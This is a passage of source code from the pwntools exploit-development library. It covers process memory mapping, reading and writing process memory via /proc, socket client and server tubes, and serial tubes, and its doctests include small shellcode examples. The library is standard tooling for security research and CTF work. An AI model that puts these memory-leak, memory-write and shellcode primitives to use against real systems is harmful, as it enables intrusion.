r_m.anonymous, r_m.swap)\n            maps.append(p_mapping)\n\n        return maps\n\n    def get_mapping(self, path_value, single=True):\n        \"\"\"get_mapping(path_value, single=True) -> mapping\n        get_mapping(path_value, False) -> [mapping]\n\n        Arguments:\n            path_value(str): The exact path of the requested mapping,\n                valid values are also [stack], [heap], etc..\n            single(bool=True): Whether to only return the first\n                mapping matched, or all of them.\n\n        Returns found mapping(s) in process memory according to \n        path_value.\n\n        Example:\n            \n            >>> p = process(['cat'])\n            >>> mapping = p.get_mapping('[stack]')\n            >>> mapping.path == '[stack]'\n            True\n            >>> mapping.perms.execute\n            False\n            >>>\n            >>> mapping = p.get_mapping('does not exist')\n            >>> print(mapping)\n            None\n            >>>\n            >>> mappings = p.get_mapping(which('cat'), single=False)\n            >>> len(mappings) > 1\n            True\n\n        \"\"\"\n        all_maps = self.maps()\n\n        if single:\n            for mapping in all_maps:\n                if path_value == mapping.path:\n                    return mapping\n            return None\n\n        m_mappings = []\n        for mapping in all_maps:\n            if path_value == mapping.path:\n                m_mappings.append(mapping)\n        return m_mappings\n\n    def stack_mapping(self, single=True):\n        \"\"\"stack_mapping(single=True) -> mapping\n        stack_mapping(False) -> [mapping]\n\n        Arguments:\n            single(bool=True): Whether to only return the first\n                mapping matched, or all of them.\n\n        Returns :meth:`.process.get_mapping` with '[stack]' and single as arguments.\n\n        Example:\n\n            >>> p = process(['cat'])\n            >>> mapping = p.stack_mapping()\n            >>> mapping.path\n            '[stack]'\n            >>> mapping.perms.execute\n            False\n            >>> mapping.perms.write\n            True\n            >>> hex(mapping.address) # doctest: +SKIP\n            '0x7fffd99fe000'\n            >>> mappings = p.stack_mapping(single=False)\n            >>> len(mappings)\n            1\n\n        \"\"\"\n        return self.get_mapping('[stack]', single)\n    \n    def heap_mapping(self, single=True):\n        \"\"\"heap_mapping(single=True) -> mapping\n        heap_mapping(False) -> [mapping]\n\n        Arguments:\n            single(bool=True): Whether to only return the first\n                mapping matched, or all of them.\n\n        Returns :meth:`.process.get_mapping` with '[heap]' and single as arguments.\n\n        Example:\n\n            >>> p = process(['cat'])\n            >>> p.sendline(b'meow')\n            >>> p.recvline()\n            b'meow\\\\n'\n            >>> mapping = p.heap_mapping()\n            >>> mapping.path\n            '[heap]'\n            >>> mapping.perms.execute\n            False\n            >>> mapping.perms.write\n            True\n            >>> hex(mapping.address) # doctest: +SKIP\n            '0x557650fae000'\n            >>> mappings = p.heap_mapping(single=False)\n            >>> len(mappings)\n            1\n\n        \"\"\"\n        return self.get_mapping('[heap]', single)\n    \n    def vdso_mapping(self, single=True):\n        \"\"\"vdso_mapping(single=True) -> mapping\n        vdso_mapping(False) -> [mapping]\n\n        Arguments:\n            single(bool=True): Whether to only return the first\n                mapping matched, or all of them.\n\n        Returns :meth:`.process.get_mapping` with '[vdso]' and single as arguments.\n\n        Example:\n\n            >>> p = process(['cat'])\n            >>> mapping = p.vdso_mapping()\n            >>> mapping.path\n            '[vdso]'\n            >>> mapping.perms.execute\n            True\n            >>> mapping.perms.write\n            False\n            >>> hex(mapping.address) # doctest: +SKIP\n            '0x7ffcf13af000'\n            >>> mappings = p.vdso_mapping(single=False)\n            >>> len(mappings)\n            1\n\n        \"\"\"\n        return self.get_mapping('[vdso]', single)\n    \n    def vvar_mapping(self, single=True):\n        \"\"\"vvar_mapping(single=True) -> mapping\n        vvar_mapping(False) -> [mapping]\n\n        Arguments:\n            single(bool=True): Whether to only return the first\n                mapping matched, or all of them.\n\n        Returns :meth:`.process.get_mapping` with '[vvar]' and single as arguments.\n\n        Example:\n\n            >>> p = process(['cat'])\n            >>> mapping = p.vvar_mapping()\n            >>> mapping.path\n            '[vvar]'\n            >>> mapping.perms.execute\n            False\n            >>> mapping.perms.write\n            False\n            >>> hex(mapping.address) # doctest: +SKIP\n            '0x7ffee5f60000'\n            >>> mappings = p.vvar_mapping(single=False)\n            >>> len(mappings)\n            1\n\n        \"\"\"\n        return self.get_mapping('[vvar]', single)\n    \n    def libc_mapping(self, single=True):\n        \"\"\"libc_mapping(single=True) -> mapping\n        libc_mapping(False) -> [mapping]\n\n        Arguments:\n            single(bool=True): Whether to only return the first\n                mapping matched, or all of them.\n\n        Returns either the first libc mapping found in process memory,\n        or all libc mappings, depending on \"single\". \n\n        Example:\n\n            >>> p = process(['cat'])\n            >>> p.sendline(b'meow')\n            >>> p.recvline()\n            b'meow\\\\n'\n            >>> mapping = p.libc_mapping()\n            >>> mapping.path # doctest: +ELLIPSIS\n            '...libc...'\n            >>> mapping.perms.execute\n            False\n            >>> mapping.perms.write\n            False\n            >>> hex(mapping.address) # doctest: +SKIP\n            '0x7fbde7fd7000'\n            >>>\n            >>> mappings = p.libc_mapping(single=False)\n            >>> len(mappings) > 1\n            True\n            >>> hex(mappings[1].address) # doctest: +SKIP\n            '0x7fbde7ffd000'\n            >>> mappings[0].end == mappings[1].start\n            True\n            >>> mappings[1].perms.execute\n            True\n\n        \"\"\"\n        all_maps = self.maps()\n\n        if single:\n            for mapping in all_maps:\n                lib_basename = os.path.basename(mapping.path)\n                if 'libc.so' in lib_basename or ('libc-' in lib_basename and '.so' in lib_basename):\n                    return mapping\n            return None\n\n        l_mappings = []\n        for mapping in all_maps:\n            lib_basename = os.path.basename(mapping.path)\n            if 'libc.so' in lib_basename or ('libc-' in lib_basename and '.so' in lib_basename):\n                l_mappings.append(mapping)\n        return l_mappings\n    \n    def musl_mapping(self, single=True):\n        \"\"\"musl_mapping(single=True) -> mapping\n        musl_mapping(False) -> [mapping]\n\n        Arguments:\n            single(bool=True): Whether to only return the first\n                mapping matched, or all of them.\n\n        Returns either the first musl mapping found in process memory,\n        or all musl mappings, depending on \"single\". \n        \"\"\"\n        all_maps = self.maps()\n\n        if single:\n            for mapping in all_maps:\n                lib_basename = os.path.basename(mapping.path)\n                if 'musl.so' in lib_basename or ('musl-' in lib_basename and '.so' in lib_basename):\n                    return mapping\n            return None\n        \n        m_mappings = []\n        for mapping in all_maps:\n            lib_basename = os.path.basename(mapping.path)\n            if 'musl.so' in lib_basename or ('musl-' in lib_basename and '.so' in lib_basename):\n                m_mappings.append(mapping)\n        return m_mappings\n    \n    def elf_mapping(self, single=True):\n        \"\"\"elf_mapping(single=True) -> mapping\n        elf_mapping(False) -> [mapping]\n\n        Arguments:\n            single(bool=True): Whether to only return the first\n                mapping matched, or all of them.\n\n        Returns :meth:`.process.get_mapping` with the :meth:`.process.elf` path and single as arguments.\n\n        Example:\n\n            >>> p = process(['cat'])\n            >>> p.sendline(b'meow')\n            >>> p.recvline()\n            b'meow\\\\n'\n            >>> mapping = p.elf_mapping()\n            >>> mapping.path # doctest: +ELLIPSIS\n            '...cat...'\n            >>> mapping.perms.execute\n            False\n            >>> mapping.perms.write\n            False\n            >>> hex(mapping.address) # doctest: +SKIP\n            '0x55a2abba0000'\n            >>> mappings = p.elf_mapping(single=False)\n            >>> len(mappings) > 1\n            True\n            >>> hex(mappings[1].address) # doctest: +SKIP\n            '0x55a2abba2000'\n            >>> mappings[0].end == mappings[1].start\n            True\n            >>> mappings[1].perms.execute\n            True\n\n        \"\"\"\n        return self.get_mapping(self.elf.path, single)\n\n    def lib_size(self, path_value):\n        \"\"\"lib_size(path_value) -> int\n\n        Arguments:\n            path_value(str): The exact path of the shared library\n            loaded by the process\n\n        Returns the size of the shared library in process memory.\n        If the library is not found, zero is returned.\n\n        Example:\n\n            >>> from pwn import *\n            >>> p = process(['cat'])\n            >>> p.send(b'meow')\n            >>> p.recvuntil(b'meow')\n            b'meow'\n            >>> libc_size = p.lib_size(p.libc.path)\n            >>> hex(libc_size) # doctest: +SKIP\n            '0x1d5000'\n            >>> libc_mappings = p.libc_mapping(single=False)\n            >>> libc_size == (libc_mappings[-1].end - libc_mappings[0].start)\n            True\n\n        \"\"\"\n\n        # Expecting this to be sorted\n        lib_mappings = self.get_mapping(path_value, single=False)\n        \n        if len(lib_mappings) == 0:\n            return 0\n    \n        is_contiguous = True\n        total_size = lib_mappings[0].size\n        for i in range(1, len(lib_mappings)):\n            total_size += lib_mappings[i].size\n\n            if lib_mappings[i].start != lib_mappings[i - 1].end:\n                is_contiguous = False\n\n        if not is_contiguous:\n            log.warn(\"lib_size(): %s mappings aren't contiguous\" % path_value)\n\n        return total_size\n\n    def address_mapping(self, address):\n        \"\"\"address_mapping(address) -> mapping\n        \n        Returns the mapping at the specified address.\n\n        Example:\n\n            >>> p = process(['cat'])\n            >>> p.sendline(b'meow')\n            >>> p.recvline()\n            b'meow\\\\n'\n            >>> libc = p.libc_mapping().address\n            >>> heap = p.heap_mapping().address\n            >>> elf = p.elf_mapping().address\n            >>> p.address_mapping(libc).path # doctest: +ELLIPSIS\n            '.../libc...'\n            >>> p.address_mapping(heap + 0x123).path\n            '[heap]'\n            >>> p.address_mapping(elf + 0x1234).path # doctest: +ELLIPSIS\n            '.../cat'\n            >>> p.address_mapping(elf - 0x1234) == None\n            True\n\n        \"\"\"\n\n        all_maps = self.maps()\n        for mapping in all_maps:\n            if mapping.addr <= address < mapping.end:\n                return mapping\n        return None\n\n    def libs(self):\n        \"\"\"libs() -> dict\n\n        Return a dictionary mapping the path of each shared library loaded\n        by the process to the address it is loaded at in the process' address\n        space.\n        \"\"\"\n        maps_raw = self.poll() is None and self.maps()\n\n        if not maps_raw:\n            import pwnlib.elf.elf\n\n            with context.quiet:\n                return pwnlib.elf.elf.ELF(self.executable).maps\n\n        # Enumerate all of the libraries actually loaded right now.\n        libs = {}\n        for mapping in maps_raw:\n            path = mapping.path\n            if os.sep not in path: continue\n            path = os.path.realpath(path)\n            if path not in libs:\n                libs[path] = mapping.addr\n\n        return libs\n\n    @property\n    def libc(self):\n        \"\"\"libc() -> ELF\n\n        Returns an ELF for the libc for the current process.\n        If possible, it is adjusted to the correct address\n        automatically.\n\n        Example:\n\n        >>> p = process(\"/bin/cat\")\n        >>> p.send(b\"meow\")\n        >>> p.recvuntil(b\"meow\")\n        b'meow'\n        >>> libc = p.libc\n        >>> libc is not None\n        True\n        >>> libc # doctest: +SKIP\n        ELF('/lib64/libc-...so')\n        >>> p.close()\n        \"\"\"\n        from pwnlib.elf import ELF\n\n        for lib, address in self.libs().items():\n            lib_basename = os.path.basename(lib)\n            if 'libc.so' in lib_basename or ('libc-' in lib_basename and '.so' in lib_basename):\n                e = ELF(lib)\n                e.address = address\n                return e\n\n    @property\n    def elf(self):\n        \"\"\"elf() -> pwnlib.elf.elf.ELF\n\n        Returns an ELF file for the executable that launched the process.\n        \"\"\"\n        import pwnlib.elf.elf\n        return pwnlib.elf.elf.ELF(self.executable)\n\n    @property\n    def corefile(self):\n        \"\"\"corefile() -> pwnlib.elf.elf.Core\n\n        Returns a corefile for the process.\n\n        If the process is alive, attempts to create a coredump with GDB.\n\n        If the process is dead: returns None if context.disable_corefiles is enabled,\n        otherwise attempts to locate the coredump created by the kernel.\n        \"\"\"\n        # If the process is still alive, try using GDB\n        import pwnlib.elf.corefile\n        import pwnlib.gdb\n\n        try:\n            if self.poll() is None:\n                corefile = pwnlib.gdb.corefile(self)\n                if corefile is None:\n                    self.error(\"Could not create corefile with GDB for %s\", self.executable)\n                return corefile\n\n            if context.disable_corefiles :\n                self._corefile = None\n                return self._corefile\n            # Handle race condition against the kernel or QEMU to write the corefile\n            # by waiting up to 5 seconds for it to be written.\n            t = Timeout()\n            finder = None\n            with t.countdown(5):\n                while t.timeout and (finder is None or not finder.core_path):\n                    finder = pwnlib.elf.corefile.CorefileFinder(self)\n                    time.sleep(0.5)\n\n            if not finder.core_path:\n                self.error(\"Could not find core file for pid %i\" % self.pid)\n\n            core_hash = sha256file(finder.core_path)\n\n            if self._corefile and self._corefile._hash == core_hash:\n                return self._corefile\n\n            self._corefile = pwnlib.elf.corefile.Corefile(finder.core_path)\n        except AttributeError as e:\n            raise RuntimeError(e) # AttributeError would route through __getattr__, losing original message\n        self._corefile._hash = core_hash\n\n        return self._corefile\n\n    def leak(self, address, count=1):\n        r\"\"\"Leaks memory within the process at the specified address.\n\n        Arguments:\n            address(int): Address to leak memory at\n            count(int): Number of bytes to leak at that address.\n\n        Example:\n\n            >>> e = ELF(which('bash-static'))\n            >>> p = process(e.path)\n\n            In order to make sure there's not a race condition against\n            the process getting set up...\n\n            >>> p.sendline(b'echo hello')\n            >>> p.recvuntil(b'hello')\n            b'hello'\n\n            Now we can leak some data!\n\n            >>> p.leak(e.address, 4)\n            b'\\x7fELF'\n        \"\"\"\n        # If it's running under qemu-user, don't leak anything.\n        if 'qemu-' in os.path.realpath('/proc/%i/exe' % self.pid):\n            self.error(\"Cannot use leaker on binaries under QEMU.\")\n\n        with open('/proc/%i/mem' % self.pid, 'rb') as mem:\n            mem.seek(address)\n            return mem.read(count) or None\n\n    readmem = leak\n\n    def writemem(self, address, data):\n        r\"\"\"Writes memory within the process at the specified address.\n\n        Arguments:\n            address(int): Address to write memory\n            data(bytes): Data to write to the address\n\n        Example:\n        \n            Let's write data to  the beginning of the mapped memory of the  ELF.\n\n            >>> context.clear(arch='i386')\n            >>> address = 0x100000\n            >>> data = cyclic(32)\n            >>> assembly = shellcraft.nop() * len(data)\n\n            Wait for one byte of input, then write the data to stdout\n\n            >>> assembly += shellcraft.write(1, address, 1)\n            >>> assembly += shellcraft.read(0, 'esp', 1)\n            >>> assembly += shellcraft.write(1, address, 32)\n            >>> assembly += shellcraft.exit()\n            >>> asm(assembly)[32:]\n            b'j\\x01[\\xb9\\xff\\xff\\xef\\xff\\xf7\\xd1\\x89\\xdaj\\x04X\\xcd\\x801\\xdb\\x89\\xe1j\\x01Zj\\x03X\\xcd\\x80j\\x01[\\xb9\\xff\\xff\\xef\\xff\\xf7\\xd1j Zj\\x04X\\xcd\\x801\\xdbj\\x01X\\xcd\\x80'\n\n            Assemble the binary and test it\n\n            >>> elf = ELF.from_assembly(assembly, vma=address)\n            >>> io = elf.process()\n            >>> _ = io.recvuntil(b'\\x90')\n            >>> _ = io.writemem(address, data)\n            >>> io.send(b'X')\n            >>> io.recvall()\n            b'aaaabaaacaaadaaaeaaafaaagaaahaaa'\n        \"\"\"\n\n        if 'qemu-' in os.path.realpath('/proc/%i/exe' % self.pid):\n            self.error(\"Cannot use leaker on binaries under QEMU.\")\n\n        with open('/proc/%i/mem' % self.pid, 'wb') as mem:\n            mem.seek(address)\n            return mem.write(data)\n\n\n    @property\n    def stdin(self):\n        \"\"\"Shorthand for ``self.proc.stdin``\n\n        See: :obj:`.process.proc`\n        \"\"\"\n        return self.proc.stdin\n    @property\n    def stdout(self):\n        \"\"\"Shorthand for ``self.proc.stdout``\n\n        See: :obj:`.process.proc`\n        \"\"\"\n        return self.proc.stdout\n    @property\n    def stderr(self):\n        \"\"\"Shorthand for ``self.proc.stderr``\n\n        See: :obj:`.process.proc`\n        \"\"\"\n        return self.proc.stderr\n\n# Keep reading the process's output in a separate thread,\n# since there's no non-blocking read in python on Windows.\ndef _read_in_thread(recv_queue, proc_stdout):\n    try:\n        while True:\n            b = proc_stdout.read(1)\n            if b:\n                recv_queue.put(b)\n            else:\n                break\n    except:\n        # Ignore any errors during Python shutdown\n        pass\n"
  },
  {
    "path": "pwnlib/tubes/remote.py",
    "content": "import socket\nimport socks\n\nfrom pwnlib.log import getLogger\nfrom pwnlib.timeout import Timeout\nfrom pwnlib.tubes.sock import sock\n\nlog = getLogger(__name__)\n\nclass remote(sock):\n    r\"\"\"Creates a TCP or UDP-connection to a remote host. It supports\n    both IPv4 and IPv6.\n\n    The returned object supports all the methods from\n    :class:`pwnlib.tubes.sock` and :class:`pwnlib.tubes.tube`.\n\n    Arguments:\n        host(str): The host to connect to.\n        port(int): The port to connect to.\n        fam: The string \"any\", \"ipv4\" or \"ipv6\" or an integer to pass to :func:`socket.getaddrinfo`.\n        typ: The string \"tcp\" or \"udp\" or an integer to pass to :func:`socket.getaddrinfo`.\n        timeout: A positive number, None or the string \"default\".\n        sock(:class:`socket.socket`): Socket to inherit, rather than connecting\n        ssl(bool): Wrap the socket with SSL\n        ssl_context(ssl.SSLContext): Specify SSLContext used to wrap the socket.\n        ssl_args(dict): Pass :func:`ssl.wrap_socket` named arguments in a dictionary.\n        sni(str,bool): Set 'server_hostname' in ssl_args. Set to True to set it based on the host argument. Set to False to not provide any value. Default is True.\n\n    Examples:\n\n        >>> r = remote('google.com', 443, ssl=True)\n        >>> r.send(b'GET /\\r\\n\\r\\n')\n        >>> r.recvn(4)\n        b'HTTP'\n\n        If a connection cannot be made, an exception is raised.\n\n        >>> r = remote('127.0.0.1', 1)\n        Traceback (most recent call last):\n        ...\n        PwnlibException: Could not connect to 127.0.0.1 on port 1\n\n        You can also use :meth:`.remote.fromsocket` to wrap an existing socket.\n\n        >>> import socket\n        >>> s = socket.socket()\n        >>> s.connect(('google.com', 80))\n        >>> s.send(b'GET /' + b'\\r\\n'*2)\n        9\n        >>> r = remote.fromsocket(s)\n        >>> r.recvn(4)\n        b'HTTP'\n        >>> s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) #doctest: +SKIP\n        >>> s.connect(('2606:4700:4700::1111', 80)) #doctest: +SKIP\n        >>> s.send(b'GET ' + b'\\r\\n'*2) #doctest: +SKIP\n        8\n        >>> r = remote.fromsocket(s) #doctest: +SKIP\n        >>> r.recvn(4) #doctest: +SKIP\n        b'HTTP'\n    \"\"\"\n\n    def __init__(self, host, port,\n                 fam = \"any\", typ = \"tcp\",\n                 sock=None, ssl=False, ssl_context=None, ssl_args=None, sni=True,\n                 *args, **kwargs):\n        super(remote, self).__init__(*args, **kwargs)\n\n        # convert port to string for sagemath support\n        self.rport  = str(port)\n        self.rhost  = host\n\n        if sock:\n            self.family = sock.family\n            self.type   = sock.type\n            self.proto  = sock.proto\n            self.sock   = sock\n\n        else:\n            typ = self._get_type(typ)\n            fam = self._get_family(fam)\n            try:\n                self.sock   = self._connect(fam, typ)\n            except socket.gaierror as e:\n                if e.errno != socket.EAI_NONAME:\n                    raise\n                self.exception('Could not resolve hostname: %r', host)\n        if self.sock:\n            self.settimeout(self.timeout)\n            self.lhost, self.lport = self.sock.getsockname()[:2]\n\n            if ssl:\n                # Deferred import to save startup time\n                import ssl as _ssl\n\n                ssl_args = ssl_args or {}\n                if \"server_hostname\" in ssl_args and sni:\n                    log.error(\"sni and server_hostname cannot be set at the same time\")\n                ssl_context = ssl_context or _ssl.SSLContext(_ssl.PROTOCOL_TLSv1_2)\n                if isinstance(sni, str):\n                    ssl_args[\"server_hostname\"] = sni\n                elif sni:\n                    ssl_args[\"server_hostname\"] = host\n                self.sock = ssl_context.wrap_socket(self.sock,**ssl_args)\n\n    def _connect(self, fam, typ):\n        sock    = None\n        timeout = self.timeout\n\n        with self.waitfor('Opening connection to %s on port %s' % (self.rhost, self.rport)) as h:\n            for res in socket.getaddrinfo(self.rhost, self.rport, fam, typ, 0, socket.AI_PASSIVE):\n                self.family, self.type, self.proto, _canonname, sockaddr = res\n\n                if self.type not in [socket.SOCK_STREAM, socket.SOCK_DGRAM]:\n                    continue\n\n                h.status(\"Trying %s\", sockaddr[0])\n\n                sock = socket.socket(self.family, self.type, self.proto)\n\n                if timeout is not None and timeout <= 0:\n                    sock.setblocking(0)\n                else:\n                    sock.setblocking(1)\n                    sock.settimeout(timeout)\n\n                try:\n                    sock.connect(sockaddr)\n                    return sock\n                except socks.ProxyError:\n                    raise\n                except socket.error:\n                    pass\n            self.error(\"Could not connect to %s on port %s\", self.rhost, self.rport)\n\n    @classmethod\n    def fromsocket(cls, socket):\n        \"\"\"\n        Helper method to wrap a standard python socket.socket with the\n        tube APIs.\n\n        Arguments:\n            socket: Instance of socket.socket\n\n        Returns:\n            Instance of pwnlib.tubes.remote.remote.\n        \"\"\"\n        s = socket\n        host, port = s.getpeername()[:2]\n        return remote(host, port, fam=s.family, typ=s.type, sock=s)\n\nclass tcp(remote):\n    __doc__ = remote.__doc__\n    def __init__(self, host, port, *a, **kw):\n        return super(tcp, self).__init__(host, port, typ=\"tcp\", *a, **kw)\n\nclass udp(remote):\n    __doc__ = remote.__doc__\n    def __init__(self, host, port, *a, **kw):\n        return super(udp, self).__init__(host, port, typ=\"udp\", *a, **kw)\n\nclass connect(remote):\n    __doc__ = remote.__doc__\n"
  },
  {
    "path": "pwnlib/tubes/serialtube.py",
    "content": "import glob\nimport platform\nimport sys\nimport time\n\nimport serial\n\nfrom pwnlib.log import getLogger\nfrom pwnlib.tubes import tube\n\nlog = getLogger(__name__)\n\nclass serialtube(tube.tube):\n    def __init__(\n            self, port = None, baudrate = 115200,\n            convert_newlines = True,\n            bytesize = 8, parity='N', stopbits=1, xonxoff = False,\n            rtscts = False, dsrdtr = False, *a, **kw):\n        super(serialtube, self).__init__(*a, **kw)\n\n        if port is None:\n            if platform.system() == 'Darwin':\n                port = glob.glob('/dev/tty.usbserial*')[0]\n            else:\n                port = '/dev/ttyUSB0'\n\n        self.convert_newlines = convert_newlines\n        # serial.Serial might throw an exception, which must be handled\n        # and propagated accordingly using self.exception\n        try:\n            self.conn = serial.Serial(\n                port = port,\n                baudrate = baudrate,\n                bytesize = bytesize,\n                parity = parity,\n                stopbits = stopbits,\n                timeout = 0,\n                xonxoff = xonxoff,\n                rtscts = rtscts,\n                writeTimeout = None,\n                dsrdtr = dsrdtr,\n                interCharTimeout = 0\n            )\n        except serial.SerialException:\n            # self.conn is set to None to avoid an AttributeError when\n            # initialization fails, but the program still tries closing\n            # the serial tube anyway\n            self.conn = None\n            self.exception(\"Could not open a serial tube on port %s\", port)\n\n    # Implementation of the methods required for tube\n    def recv_raw(self, numb):\n        if not self.conn:\n            raise EOFError\n\n        with self.countdown():\n            while self.conn and self.countdown_active():\n                data = self.conn.read(numb)\n\n                if data:\n                    return data\n\n                time.sleep(min(self.timeout, 0.1))\n\n        return None\n\n    def send_raw(self, data):\n        if not self.conn:\n            raise EOFError\n\n        if self.convert_newlines:\n            data = data.replace(b'\\n', b'\\r\\n')\n\n        while data:\n            n = self.conn.write(data)\n            data = data[n:]\n        self.conn.flush()\n\n    def settimeout_raw(self, timeout):\n        pass\n\n    def can_recv_raw(self, timeout):\n        with self.countdown(timeout):\n            while self.conn and self.countdown_active():\n                if self.conn.inWaiting():\n                    return True\n                time.sleep(min(self.timeout, 0.1))\n        return False\n\n    def connected_raw(self, direction):\n        return self.conn is not None\n\n    def close(self):\n        if self.conn:\n            self.conn.close()\n            self.conn = None\n\n    def fileno(self):\n        if not self.connected():\n            self.error(\"A closed serialtube does not have a file number\")\n\n        return self.conn.fileno()\n\n    def shutdown_raw(self, direction):\n        self.close()\n"
  },
  {
    "path": "pwnlib/tubes/server.py",
    "content": "import errno\nimport socket\nimport threading\n\nfrom pwnlib.context import context\nfrom pwnlib.log import getLogger\nfrom pwnlib.tubes.sock import sock\nfrom pwnlib.tubes.remote import remote\nfrom queue import Queue\n\nlog = getLogger(__name__)\n\nclass server(sock):\n    r\"\"\"Creates an TCP or UDP-server to listen for connections. It supports\n    both IPv4 and IPv6.\n\n    Arguments:\n        port(int): The port to connect to.\n            Defaults to a port auto-selected by the operating system.\n        bindaddr(str): The address to bind to.\n            Defaults to ``0.0.0.0`` / `::`.\n        fam: The string \"any\", \"ipv4\" or \"ipv6\" or an integer to pass to :func:`socket.getaddrinfo`.\n        typ: The string \"tcp\" or \"udp\" or an integer to pass to :func:`socket.getaddrinfo`.\n        callback: A function to be started on incoming connections. It should take a :class:`pwnlib.tubes.remote` as its only argument.\n\n    Examples:\n\n        >>> s = server(8888)\n        >>> client_conn = remote('localhost', s.lport)\n        >>> server_conn = s.next_connection()\n        >>> client_conn.sendline(b'Hello')\n        >>> server_conn.recvline()\n        b'Hello\\n'\n        >>> def cb(r):\n        ...     client_input = r.readline()\n        ...     r.send(client_input[::-1])\n        ...\n        >>> t = server(8889, callback=cb)\n        >>> client_conn = remote('localhost', t.lport)\n        >>> client_conn.sendline(b'callback')\n        >>> client_conn.recv()\n        b'\\nkcabllac'\n    \"\"\"\n\n    #: Local port\n    lport = 0\n\n    #: Local host\n    lhost = None\n\n    #: Socket type (e.g. socket.SOCK_STREAM)\n    type = None\n\n    #: Socket family\n    family = None\n\n    #: Socket protocol\n    protocol = None\n\n    #: Canonical name of the listening interface\n    canonname = None\n\n    #: Sockaddr structure that is being listened on\n    sockaddr = None\n\n    _accepter = None\n\n    def __init__(self, port=0, bindaddr = \"::\", fam = \"any\", typ = \"tcp\",\n                 callback = None, blocking = False, *args, **kwargs):\n        super(server, self).__init__(*args, **kwargs)\n\n        port = int(port)\n\n        fam = self._get_family(fam)\n        typ = self._get_type(typ)\n\n        if fam == socket.AF_INET and bindaddr == '::':\n            bindaddr = '0.0.0.0'\n\n        h = self.waitfor('Trying to bind to %s on port %d' % (bindaddr, port))\n\n        for res in socket.getaddrinfo(bindaddr, port, fam, typ, 0, socket.AI_PASSIVE):\n            self.family, self.type, self.proto, self.canonname, self.sockaddr = res\n\n            if self.type not in [socket.SOCK_STREAM, socket.SOCK_DGRAM]:\n                continue\n\n            h.status(\"Trying %s\" % self.sockaddr[0])\n            listen_sock = socket.socket(self.family, self.type, self.proto)\n            listen_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n            listen_sock.bind(self.sockaddr)\n            self.lhost, self.lport = listen_sock.getsockname()[:2]\n            if self.type == socket.SOCK_STREAM:\n                listen_sock.listen(1)\n            break\n        else:\n            h.failure()\n            self.error(\"Could not bind to %s on port %d\" % (bindaddr, port))\n\n        h.success()\n\n        self.sock = listen_sock\n        self.connections = Queue()\n        def accepter():\n            while True:\n                h = self.waitfor('Waiting for connections on %s:%s' % (self.lhost, self.lport))\n                while True:\n                    try:\n                        if self.type == socket.SOCK_STREAM:\n                            sock, rhost = listen_sock.accept()\n                        else:\n                            data, rhost = listen_sock.recvfrom(4096)\n                            listen_sock.connect(rhost)\n                            sock = listen_sock\n                            self.unrecv(data)\n                        sock.settimeout(self.timeout)\n                        break\n                    except socket.error as e:\n                        if e.errno == errno.EINTR:\n                            continue\n                        h.failure()\n                        self.exception(\"Socket failure while waiting for connection\")\n                        sock = None\n                        return\n\n                self.rhost, self.rport = rhost[:2]\n                r = remote(self.rhost, self.rport, sock = sock, level = self.level)\n                h.success('Got connection from %s on port %d' % (self.rhost, self.rport))\n                if callback:\n                    if not blocking:\n                        t = context.Thread(target = callback, args = (r,))\n                        t.daemon = True\n                        t.start()\n                    else:\n                        callback(r)\n                else:\n                    self.connections.put(r)\n\n        self._accepter = context.Thread(target = accepter)\n        self._accepter.daemon = True\n        self._accepter.start()\n\n    def next_connection(self):\n        return self.connections.get()\n\n    def close(self):\n        # since `close` is scheduled to run on exit we must check that we got\n        # a connection or the program will hang in the `join` call above\n        if self._accepter and self._accepter.is_alive():\n            return\n        super(server, self).close()\n"
  },
  {
    "path": "pwnlib/tubes/sock.py",
    "content": "import errno\nimport select\nimport socket\n\nfrom pwnlib.log import getLogger\nfrom pwnlib.tubes.tube import tube\n\nlog = getLogger(__name__)\n\nclass sock(tube):\n    \"\"\"Base type used for :class:`.tubes.remote` and :class:`.tubes.listen` classes\"\"\"\n\n    def __init__(self, *args, **kwargs):\n        super(sock, self).__init__(*args, **kwargs)\n        self.closed = {\"recv\": False, \"send\": False}\n\n    # Overwritten for better usability\n    def recvall(self, timeout = tube.forever):\n        \"\"\"recvall() -> str\n\n        Receives data until the socket is closed.\n        \"\"\"\n\n        if getattr(self, 'type', None) == socket.SOCK_DGRAM:\n            self.error(\"UDP sockets do not support recvall\")\n        else:\n            return super(sock, self).recvall(timeout)\n\n    def recv_raw(self, numb, *a):\n        if self.closed[\"recv\"]:\n            raise EOFError\n\n        while True:\n            try:\n                data = self.sock.recv(numb, *a)\n                break\n            except socket.timeout:\n                return None\n            except IOError as e:\n                if e.errno in (errno.EAGAIN, errno.ETIMEDOUT) or 'timed out' in e.strerror:\n                    return None\n                elif e.errno in (errno.ECONNREFUSED, errno.ECONNRESET):\n                    self.shutdown(\"recv\")\n                    raise EOFError\n                elif e.errno == errno.EINTR:\n                    continue\n                else:\n                    raise\n\n        if not data:\n            self.shutdown(\"recv\")\n            raise EOFError\n\n        return data\n\n    def send_raw(self, data):\n        if self.closed[\"send\"]:\n            raise EOFError\n\n        try:\n            self.sock.sendall(data)\n        except IOError as e:\n            eof_numbers = (errno.EPIPE, errno.ECONNRESET, errno.ECONNREFUSED)\n            if e.errno in eof_numbers or 'Socket is closed' in e.args:\n                self.shutdown(\"send\")\n                raise EOFError\n            else:\n                raise\n\n    def settimeout_raw(self, timeout):\n        sock = getattr(self, 'sock', None)\n        if sock:\n            sock.settimeout(timeout)\n\n    def can_recv_raw(self, timeout):\n        \"\"\"\n        Tests:\n\n            >>> l = listen()\n            >>> r = remote('localhost', l.lport)\n            >>> r.can_recv_raw(timeout=0)\n            False\n            >>> l.send(b'a')\n            >>> r.can_recv_raw(timeout=1)\n            True\n            >>> r.recv()\n            b'a'\n            >>> r.can_recv_raw(timeout=0)\n            False\n            >>> l.close()\n            >>> r.can_recv_raw(timeout=1)\n            False\n            >>> r.closed['recv']\n            True\n        \"\"\"\n        if not self.sock or self.closed[\"recv\"]:\n            return False\n\n        # select() will tell us data is available at EOF\n        can_recv = select.select([self.sock], [], [], timeout) == ([self.sock], [], [])\n\n        if not can_recv:\n            return False\n\n        # Ensure there's actually data, not just EOF\n        try:\n            self.recv_raw(1, socket.MSG_PEEK)\n        except EOFError:\n            return False\n\n        return True\n\n    def connected_raw(self, direction):\n        \"\"\"\n        Tests:\n\n            >>> l = listen()\n            >>> r = remote('localhost', l.lport)\n            >>> r.connected()\n            True\n            >>> l.close()\n            >>> time.sleep(0.1) # Avoid race condition\n            >>> r.connected()\n            False\n        \"\"\"\n        # If there's no socket, it's definitely closed\n        